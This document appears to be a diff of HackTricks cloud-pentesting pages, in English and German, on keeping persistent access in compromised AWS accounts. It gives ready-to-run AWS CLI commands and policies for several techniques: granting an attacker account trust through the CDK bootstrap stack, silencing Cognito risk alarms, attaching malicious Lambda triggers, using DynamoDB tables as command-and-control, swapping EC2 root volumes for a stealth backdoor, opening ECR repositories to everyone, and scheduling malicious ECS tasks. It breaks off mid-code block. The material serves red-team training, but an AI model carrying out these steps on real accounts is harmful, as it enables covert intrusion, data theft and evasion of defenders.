These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
- Die Standardrichtlinie **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- Um [aws_iam_review](https://github.com/carlospolop/aws_iam_review) auszuführen, benötigen Sie außerdem die Berechtigungen:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional, wenn der Kunde die Analyzer für Sie erstellt, aber normalerweise ist es einfacher, einfach nach dieser Berechtigung zu fragen)
- **access-analyzer:DeleteAnalyzer**
- Optional, wenn der Kunde die Analyzer für Sie entfernt, aber normalerweise ist es einfacher, einfach nach dieser Berechtigung zu fragen)
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- **access-analyzer:DeleteAnalyzer**
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# AWS - Persistenz
# AWS - Persistence
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,36 @@
# AWS - API Gateway Persistence
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
For more information go to:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
Modify the resource policy of the API gateway(s) to grant yourself access to them
### Modify Lambda Authorizers
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
### IAM Permissions
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
### API Keys
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,32 +0,0 @@
# AWS - API Gateway Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
Weitere Informationen findest du unter:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Ressourcenrichtlinie
Ändere die Ressourcenrichtlinie der API Gateway(s), um dir Zugriff darauf zu gewähren
### Lambda Authorizers ändern
Ändere den Code der Lambda Authorizers, um dir Zugriff auf alle Endpunkte zu gewähren.\
Oder entferne einfach die Verwendung des Authorizers.
### IAM-Berechtigungen
Wenn eine Ressource einen IAM-Authorizer verwendet, kannst du dir durch Ändern der IAM-Berechtigungen Zugriff darauf verschaffen.\
Oder entferne einfach die Verwendung des Authorizers.
### API Keys
Wenn API Keys verwendet werden, könntest du sie leak(en), um persistence aufrechtzuerhalten oder sogar neue zu erstellen.\
Oder entferne einfach die Verwendung von API Keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,25 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
For more information, access:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,23 +0,0 @@
# AWS - Cloudformation Persistenz
{{#include ../../../../banners/hacktricks-training.md}}
## CloudFormation
Für weitere Informationen, siehe:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
Der AWS CDK erstellt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Accounts erlaubt, CDK-Projekte in das Opferkonto bereitzustellen. Ein Angreifer kann dies ausnutzen, um sich selbst dauerhaften Zugriff auf das Opferkonto zu verschaffen, entweder indem er die AWS cli verwendet, um den Stack mit Parametern neu bereitzustellen, oder die AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,46 @@
# AWS - Cognito Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### User persistence
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
Check how to do these actions in
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
By default this is disabled:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,40 +0,0 @@
# AWS - Cognito Persistenz
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
Für weitere Informationen, siehe:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Benutzer-Persistenz
Cognito ist ein Service, der es ermöglicht, Rollen an nicht authentifizierte und authentifizierte Benutzer zu vergeben und ein Verzeichnis von Benutzern zu verwalten. Mehrere Konfigurationen können verändert werden, um Persistenz zu erreichen, zum Beispiel:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Einem **IAM role** einem nicht authentifizierten Identity Pool zuweisen und den **Basic auth flow** erlauben
- Oder einem **authenticated Identity Pool** wenn sich der Angreifer einloggen kann
- Oder die **Berechtigungen** der zugewiesenen Rollen verbessern
- **Create, verify & privesc** über durch Attribute kontrollierte Benutzer oder neue Benutzer in einem **User Pool**
- **Externe Identity Providers zulassen**, um sich in einem User Pool oder in einem Identity Pool anzumelden
Anleitung zum Durchführen dieser Aktionen findest du in
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
Ein Angreifer mit diesem Privileg könnte die Risk Configuration ändern, um sich als Cognito-Benutzer anmelden zu können **ohne dass Alarme ausgelöst werden**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
Standardmäßig ist dies deaktiviert:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,67 @@
# AWS - DynamoDB Persistence
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
For more information access:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,59 +0,0 @@
# AWS - DynamoDB Persistenz
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB-Trigger mit Lambda-Backdoor
Durch den Einsatz von DynamoDB-Triggern kann ein Angreifer eine **stealthy backdoor** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Item hinzugefügt, geändert oder gelöscht wird, und ermöglicht es dem Angreifer, beliebigen Code im AWS-Account auszuführen.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
Um persistence aufrechtzuerhalten, kann der attacker items in der DynamoDB table erstellen oder ändern, wodurch die bösartige Lambda function ausgelöst wird. Dadurch kann der attacker Code innerhalb des AWS account ausführen, ohne direkt mit der Lambda function zu interagieren.
### DynamoDB als C2 Channel
Ein attacker kann eine DynamoDB table als **command and control (C2) channel** nutzen, indem er items erstellt, die commands enthalten, und kompromittierte instances oder Lambda functions verwendet, um diese commands abzurufen und auszuführen.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
Die kompromittierten Instanzen oder Lambda-Funktionen können periodisch die C2 table auf neue Befehle prüfen, diese ausführen und optional die Ergebnisse wieder in die C2 table melden. Dadurch kann der Angreifer Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechterhalten.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,58 @@
# AWS - EC2 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EC2
For more information check:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
### Scheduled Instances
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
### Spot Fleet Request
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### VPN
Create a VPN so the attacker will be able to connect directly through i to the VPC.
### VPC Peering
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,62 +0,0 @@
# AWS - EC2 Persistenz
{{#include ../../../../banners/hacktricks-training.md}}
## EC2
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistenz
Wenn ein Verteidiger feststellt, dass eine **EC2 instance kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz), oder indem er die **security group ändert**, sodass **kein eingehender oder ausgehender** Traffic erlaubt ist.
Wenn der Angreifer eine **reverse shell von der Maschine aus gestartet** hat, wird die **Verbindung nicht beendet** sein, selbst wenn die SG so geändert wurde, dass kein eingehender oder ausgehender Traffic erlaubt ist, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
Dieser Service ermöglicht es, die **Erstellung von AMIs und snapshots zu planen** und sie sogar **mit anderen Accounts zu teilen**.\
Ein Angreifer könnte die **Erzeugung von AMIs oder snapshots** aller Images oder aller Volumes **wöchentlich** konfigurieren und diese **mit seinem Account teilen**.
### Scheduled Instances
Es ist möglich, Instances so zu planen, dass sie täglich, wöchentlich oder sogar monatlich laufen. Ein Angreifer könnte eine Maschine mit hohen Privilegien oder interessantem Zugriff betreiben, auf die er zugreifen kann.
### Spot Fleet Request
Spot instances sind **günstiger** als reguläre Instances. Ein Angreifer könnte eine **kleine Spot Fleet Request für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und einem **user data**, das dem Angreifer **beim Start der Spot Instance** die **IP-Adresse** sendet, und mit einer **hochprivilegierten IAM role**.
### Backdoor Instances
Ein Angreifer könnte Zugriff auf Instances erlangen und diese backdooren:
- Zum Beispiel durch Verwendung eines traditionellen **rootkit**
- Hinzufügen eines neuen **public SSH key** (siehe [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring des **User Data**
### **Backdoor Launch Configuration**
- Backdoor das verwendete AMI
- Backdoor das User Data
- Backdoor das Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
Ersetze das root EBS volume einer laufenden instance durch eines, das aus einem vom Angreifer kontrollierten AMI oder snapshot erstellt wurde, mittels `CreateReplaceRootVolumeTask`. Die instance behält ihre ENIs, IPs und Rolle bei und bootet effektiv in bösartigen Code, während sie unverändert erscheint.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
{{#endref}}
### VPN
Erstelle ein VPN, damit der Angreifer sich direkt mit der VPC verbinden kann.
### VPC Peering
Erstelle eine Peering-Verbindung zwischen der Opfer-VPC und der Angreifer-VPC, sodass er auf die Opfer-VPC zugreifen kann.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,75 +0,0 @@
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
{{#include ../../../../banners/hacktricks-training.md}}
Missbrauche **ec2:CreateReplaceRootVolumeTask**, um das Root-EBS-Volume einer laufenden Instanz durch ein aus einem vom Angreifer kontrollierten AMI oder Snapshot wiederhergestelltes Volume zu ersetzen. Die Instanz wird automatisch neu gestartet und läuft mit dem vom Angreifer kontrollierten Root-Dateisystem weiter, während ENIs, private/public IPs, attached non-root volumes und die instance metadata/IAM role erhalten bleiben.
## Voraussetzungen
- Zielinstanz ist EBS-backed und läuft in derselben Region.
- Kompatibles AMI oder Snapshot: gleiche Architektur/Virtualisierung/Boot-Modus (und Produktcodes, falls vorhanden) wie die Zielinstanz.
## Vorprüfungen
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## root von AMI ersetzen (bevorzugt)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
Alternative mit einem Snapshot:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## Beweise / Verifizierung
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Expected: ENI_ID and PRI_IP remain the same; the root volume ID changes from $ORIG_VOL to $NEW_VOL. The system boots with the Dateisystem from the vom Angreifer kontrollierten AMI/snapshot.
## Hinweise
- Die API verlangt nicht, die Instanz manuell zu stoppen; EC2 orchestriert einen Reboot.
- Standardmäßig wird das ersetzte (alte) root EBS Volume abgetrennt und im Account belassen (DeleteReplacedRootVolume=false). Dies kann für ein Rollback verwendet werden oder muss gelöscht werden, um Kosten zu vermeiden.
## Rollback / Bereinigung
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,101 @@
# AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
### Repository Policy
Add a policy to a single repository granting yourself (or everybody) access to a repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
### Registry Policy & Cross-account Replication
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
First, you need to give the external account access over the registry with a **registry policy** like:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Then apply the replication config:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,145 +0,0 @@
# AWS - ECR Persistenz
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Verstecktes Docker-Image mit bösartigem Code
Ein Angreifer könnte **ein Docker-Image hochladen, das bösartigen Code enthält**, in ein ECR-Repository und es nutzen, um Persistenz im Ziel-AWS-Konto zu erreichen. Der Angreifer könnte das bösartige Image dann unauffällig in verschiedenen Services des Kontos bereitstellen, wie z. B. Amazon ECS oder EKS.
### Repository-Richtlinie
Füge einem einzelnen Repository eine Richtlinie hinzu, die dir (oder allen) Zugriff auf das Repository gewährt:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Beachte, dass ECR von Benutzern **Berechtigungen** verlangt, um Aufrufe an die **`ecr:GetAuthorizationToken`** API über eine IAM-Policy zu machen, **bevor sie sich** bei einer Registry authentifizieren und Images in ein Amazon ECR-Repository pushen oder daraus pullen können.
### Registry-Richtlinie & kontoübergreifende Replikation
Es ist möglich, eine Registry automatisch in einem externen Account zu replizieren, indem man die kontoübergreifende Replikation konfiguriert; dabei muss man das **externe Konto angeben**, in das die Registry repliziert werden soll.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
Zuerst müssen Sie dem externen Account Zugriff auf die Registry gewähren mit einer **Registry-Richtlinie** wie:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Wenden Sie dann die Replikationskonfiguration an:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (Präfix-Backdoor für zukünftige repos)
Abuse ECR Repository Creation Templates, um automatisch jedes Repository zu backdooren, das ECR unter einem kontrollierten Präfix automatisch erstellt (z. B. via Pull-Through Cache oder Create-on-Push). Dies gewährt dauerhaften unautorisierten Zugriff auf zukünftige repos, ohne bestehende anzufassen.
- Erforderliche Berechtigungen: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (wird von der Vorlage verwendet), iam:PassRole (falls eine benutzerdefinierte Rolle an die Vorlage angehängt ist).
- Auswirkung: Jedes neue Repository, das unter dem Zielpräfix erstellt wird, erbt automatisch eine vom Angreifer kontrollierte Repository-Richtlinie (z. B. cross-account read/write), Tag-Veränderbarkeit und Standardwerte für Scans.
<details>
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
```bash
# Region
REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
# This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,103 @@
# AWS - ECS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
```bash
